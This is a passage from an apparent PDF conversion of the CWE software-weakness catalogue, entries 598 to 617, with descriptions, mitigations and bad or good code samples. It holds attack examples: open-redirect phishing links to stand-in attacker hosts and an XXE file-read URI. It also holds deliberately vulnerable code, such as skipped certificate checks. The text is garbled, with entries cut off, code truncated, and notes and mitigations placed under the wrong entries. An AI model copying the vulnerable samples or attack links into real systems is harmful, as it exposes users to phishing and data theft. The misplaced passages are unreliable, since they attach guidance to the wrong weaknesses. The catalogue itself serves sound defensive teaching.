However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails. The types in the second are int and reference, so this one fails as well. The types in the third are reference and string, so it also fails.

While the variables above contain the same values, they are contained in different types, so the document.getElementById... statement will not be executed in any of the cases.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison so the comparison in this example executes the HTML statement:

*Example Language: JavaScript*

*(good)*

```

<p id="ieq2s1" type="text">(i == s1) is FALSE</p>
<p id="s4eq2i" type="text">(s4 == i) is FALSE</p>
<p id="s4eq2s1" type="text">(s4 == s1) is FALSE</p>
var i = 65;
var s1 = '65';
var s4 = new String('65');
if (i == s1)
{
  document.getElementById("ieq2s1").innerHTML = "(i == s1) is TRUE";
}
if (s4 == i)
{
  document.getElementById("s4eq2i").innerHTML = "(s4 == i) is TRUE";
}
if (s4 == s1)
{
  document.getElementById("s4eq2s1").innerHTML = "(s4 == s1) is TRUE";
}

```

### Example 3:

In the example below, two PHP variables are declared and initialized with the same numbers - one as a string, the other as an integer. Note that PHP will change the string value to a number for a comparison. An if statement is used to determine whether the values are the same.

*Example Language: PHP*

*(bad)*

```

var $i = 65;
var $s1 = "65";
if ($i === $s1)
{
  echo '($i === $s1) is TRUE'. "\n";
}
else
{
  echo '($i === $s1) is FALSE'. "\n";
}

```

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails.

While the variables above contain the same values, they are contained in different types, so the TRUE portion of the if statement will not be executed.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison (string converted to number) so the comparison in this example executes the TRUE statement:

Example Language: PHP

(good)

```
var $i = 65;
var $s1 = "65";
if ($i == $s1)
{
    echo '($i == $s1) is TRUE'. "\n";
}
else
{
    echo '($i == $s1) is FALSE'. "\n";
}
```

## CWE-598: Use of GET Request Method With Sensitive Query Strings

**Weakness ID** : 598

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that requests.

### Extended Description

The query string can be saved in the browser's history, passed through Referers to other web sites, stored in web logs, or otherwise recorded in other sources. If the query string contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	201	Insertion of Sensitive Information Into Sent Data	481

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.</i>	

### Potential Mitigations

#### Phase: Implementation

When sensitive information is sent, use the POST method (e.g. registration form).

## CWE-599: Missing Validation of OpenSSL Certificate

Weakness ID : 599

Status: Incomplete

Structure : Simple

Abstraction : Variant

### Description

1212

The software uses OpenSSL and trusts or uses a certificate without using the `SSL_get_verify_result()` function to ensure that the certificate satisfies all necessary security requirements.

### Extended Description

This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>The data read may not be properly secured, it might be viewed by an attacker.</i>	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity <i>Trust afforded to the system in question may allow for spoofing or redirection attacks.</i>	
Access Control	Gain Privileges or Assume Identity <i>If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

#### Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

### Demonstrative Examples

#### Example 1:

The following OpenSSL code ensures that the host has a certificate.

Example Language: C

(bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got certificate, host can be trusted
    //foo=SSL_get_verify_result(ssl);
    //if (X509_V_OK==foo) ...
}
```

Note that the code does not call `SSL_get_verify_result(ssl)`, which effectively disables the validation step that checks the certificate.

Nature	Type	ID	Name	V	Page
MemberOf		948	SFP Secondary Cluster: Digital Certificate	888	2059

## Notes

### Relationship

CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").

## CWE-600: Uncaught Exception in Servlet

Weakness ID : 600

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The Servlet does not catch all exceptions, which may reveal sensitive debugging information.

### Extended Description

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

### Relationships

## CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Weakness ID : 601

Status: Draft

Structure : Simple

Abstraction : Base

## Description

A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

## Extended Description

An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## Detection Methods

### Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

*Effectiveness = High*

### Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

### Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

### Other

Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.

### Automated Static Analysis - Binary or Bytecode

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. Use a list of approved URLs or domains to be used for redirection.

### Phase: Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

### Phase: Architecture and Design

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

### Phase: Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

**Phase: Architecture and Design****Phase: Implementation***Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

**Phase: Operation***Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

**Demonstrative Examples****Example 1:**

The following code obtains a URL from the query string and then redirects the user to that URL.

*Example Language: PHP**(bad)*

```
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file `example.php`. An attacker could supply a user with the following link:

*Example Language:**(attack)*

```
http://example.com/example.php?url=http://malicious.example.com
```

The user sees the link pointing to the original trusted site (`example.com`) and does not realize the redirection that could take place.

**Example 2:**

The following code is a Java servlet that will receive a GET request with a `url` parameter in the request to redirect the browser to the address specified in the `url` parameter. The servlet will retrieve the `url` parameter value from the request and send a response to redirect the browser to the `url` address.

*Example Language: Java**(bad)*

```
public class RedirectServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
    {
```

```
String query = request.getQueryString();
if (query.contains("url")) {
    String url = request.getParameter("url");
    response.sendRedirect(url);
}
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of a e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

Example Language: HTML

(attack)

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

## CWE-602: Client-Side Enforcement of Server-Side Security

**Weakness ID** : 602

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

### Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Access Control Availability	Bypass Protection Mechanism DoS: Crash, Exit, or Restart  <i>Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.</i>	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

#### Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

#### Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

#### Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Demonstrative Examples

### Example 1:

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

Example Language: Perl

(good)

```
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
    # username/pass is valid, go ahead and update the info!
    writeSocket($sock, "CHANGE-ADDRESS $username $address\n");
}
else {
    print "ERROR: Invalid Authentication!\n";
}
```

SERVER-SIDE (server.pl):

Example Language:

(bad)

```
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
    ($username, $pass) = split(/\s+/, $args, 2);
    $result = AuthenticateUser($username, $pass);
    writeSocket($sock, "$result\n");
    # does not close the socket on failure; assumes the
    # user will try again
}
elseif ($cmd eq "CHANGE-ADDRESS") {
    if (validateAddress($args)) {
        $res = UpdateDatabaseRecord($username, "address", $args);
        writeSocket($sock, "SUCCESS\n");
    }
    else {
        writeSocket($sock, "FAILURE -- address is malformed\n");
    }
}
```

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

## CWE-603: Use of Client-Side Authentication

<b>Weakness ID</b> : 603	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

### Extended Description

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

## CWE-605: Multiple Binds to the Same Port

**Weakness ID** : 605

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

### Extended Description

On most systems, a combination of setting the SO\_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR\_ANY. This allows a user to bind to the specific address of a server bound to INADDR\_ANY on an unprivileged port, and steal its UDP packets/TCP connection.

These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ### Demonstrative Examples

**Example 1:**

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

Example Language: C

(bad)

```
void bind_socket(void) {
    int server_sockfd;
    int server_len;
    struct sockaddr_in server_address;
    /*unlink the socket if already bound to avoid an error when bind() is called*/
    unlink("server_socket");
    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    server_address.sin_port = 21;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_len = sizeof(struct sockaddr_in);
    bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

**CWE-606: Unchecked Input for Loop Condition**

Weakness ID : 606

Status: Draft

Structure : Simple

Abstraction : Base

**Description**

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1215	Data Validation Issues	2141

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

### Potential Mitigations

#### Phase: Implementation

Do not use user-controlled data for loop conditions.

#### Phase: Implementation

Perform input validation.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

Example Language: C

(bad)

```
void iterate(int n){
    int i;
    for (i = 0; i < n; i++){
        foo();
    }
}
void iterateFoo()
{
    unsigned int num;
    scanf("%u",&num);
    iterate(num);
}
```

#### Example 2:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C

(bad)

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // Ignoring possiblity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

}

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

## CWE-607: Public Static Final Field References Mutable Object

<b>Weakness ID</b> : 607	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.

### Relationships

## CWE-608: Struts: Non-private Field in ActionForm Class

**Weakness ID** : 608

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1327

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Implementation

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

## Demonstrative Examples

### Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

*Example Language: Java*

*(bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // variables for registration form
    public String name;
    public String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    ...
}
```

However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

*Example Language: Java*

*(good)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

## CWE-609: Double-Checked Locking

<b>Weakness ID</b> : 609	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The program uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

### Extended Description

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	1989

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Alter Execution Logic	

### Potential Mitigations

#### Phase: Implementation

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

### Demonstrative Examples

### Example 1:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java

(bad)

```
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Example Language:

(bad)

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

## Notes

### Relationship

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

### Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

## CWE-611: Improper Restriction of XML External Entity Reference

**Weakness ID :** 611

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

### Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

### Notes

**Relationship**

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

## CWE-612: Improper Authorization of Index Containing Sensitive Information

**Weakness ID** : 612

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.

### Extended Description

Web sites and other document repositories may apply an indexing routine against a group of private documents to facilitate search. If the index's results are available to parties who do not have access to the documents being indexed, then attackers could obtain portions of the documents by conducting targeted searches and reading the results. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.

### Relationships

These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-613: Insufficient Session Expiration

<b>Weakness ID</b> : 613	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

### Relationships

### Potential Mitigations

#### Phase: Implementation

Set sessions/credentials expiration date.

### Demonstrative Examples

#### Example 1:

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

Example Language: Java

    <session-timeout>-1</session-timeout>
  </session-config>
</web-app>
```

MemberOf		1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2099

### Notes

#### Other

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

### Potential Mitigations

#### Phase: Implementation

Always set the secure attribute when the cookie should sent via HTTPS only.

### Demonstrative Examples

#### Example 1:

## CWE-615: Inclusion of Sensitive Information in Source Code Comments

**Weakness ID** : 615

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.

### Extended Description

An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ### Potential Mitigations

#### Phase: Distribution

### Demonstrative Examples

#### Example 1:

## CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

**Weakness ID :** 616

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. \$varname, \$varname\_size, \$varname\_name, \$varname\_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.

### Extended Description

These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

PeerOf		473	PHP External Variable Modification	1022

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** PHP (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: Architecture and Design

Use PHP 4 or later.

### Phase: Architecture and Design

If you must support older PHP versions, write your own version of `is_uploaded_file()` and run it against `$HTTP_POST_FILES['userfile']`)

### Phase: Implementation

For later PHP versions, reference uploaded files using the `$HTTP_POST_FILES` or `$_FILES` variables, and use `is_uploaded_file()` or `move_uploaded_file()` to ensure that you are dealing with an uploaded file.

## Demonstrative Examples

### Example 1:

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

*Example Language: PHP*

*(bad)*

```
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file
```

### Example 2:

"The global `$_FILES` exists as of PHP 4.1.0 (Use `$HTTP_POST_FILES` instead if using an earlier version). These arrays will contain all the uploaded file information."

Example Language: PHP

(bad)

```
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server
```

\*\* note: 'userfile' is the field name from the web form; this can vary.

## CWE-617: Reachable Assertion

<b>Weakness ID</b> : 617	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

### Extended Description

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service.

For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

### Relationships

